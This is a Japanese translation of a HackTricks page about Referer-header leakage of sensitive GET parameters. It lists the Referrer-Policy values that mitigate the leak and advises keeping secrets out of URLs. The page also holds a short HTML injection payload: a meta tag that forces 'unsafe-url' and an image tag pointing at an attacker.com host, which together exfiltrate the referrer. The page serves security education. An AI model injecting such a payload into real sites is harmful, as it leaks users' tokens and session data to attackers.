hacktricks/interesting-http.md
2023-07-07 23:42:27 +00:00

5.1 KiB
Raw Blame History

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

リファラーヘッダーとポリシー

リファラーは、ブラウザが前のページを示すために使用するヘッダーです。

漏洩する機密情報

ウェブページ内のいずれかの時点で、GETリクエストのパラメータに機密情報が含まれている場合、ページに外部ソースへのリンクが含まれている場合、または攻撃者がユーザーに攻撃者が制御するURLを訪れるようにする/提案するソーシャルエンジニアリングことができる場合、攻撃者は最新のGETリクエスト内に機密情報を外部に持ち出すことができます。

緩和策

ブラウザには、他のWebアプリケーションに機密情報を送信しないようにするためのリファラーポリシーを設定することができます。

Referrer-Policy: no-referrer
Referrer-Policy: no-referrer-when-downgrade
Referrer-Policy: origin
Referrer-Policy: origin-when-cross-origin
Referrer-Policy: same-origin
Referrer-Policy: strict-origin
Referrer-Policy: strict-origin-when-cross-origin
Referrer-Policy: unsafe-url

対策

HTMLメタタグを使用して、このルールを上書きすることができます攻撃者はHTMLインジェクションを悪用する必要があります:

<meta name="referrer" content="unsafe-url">
<img src="https://attacker.com">

防御

URLのGETパラメータやパスには、機密データを絶対に入れないようにしましょう。

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥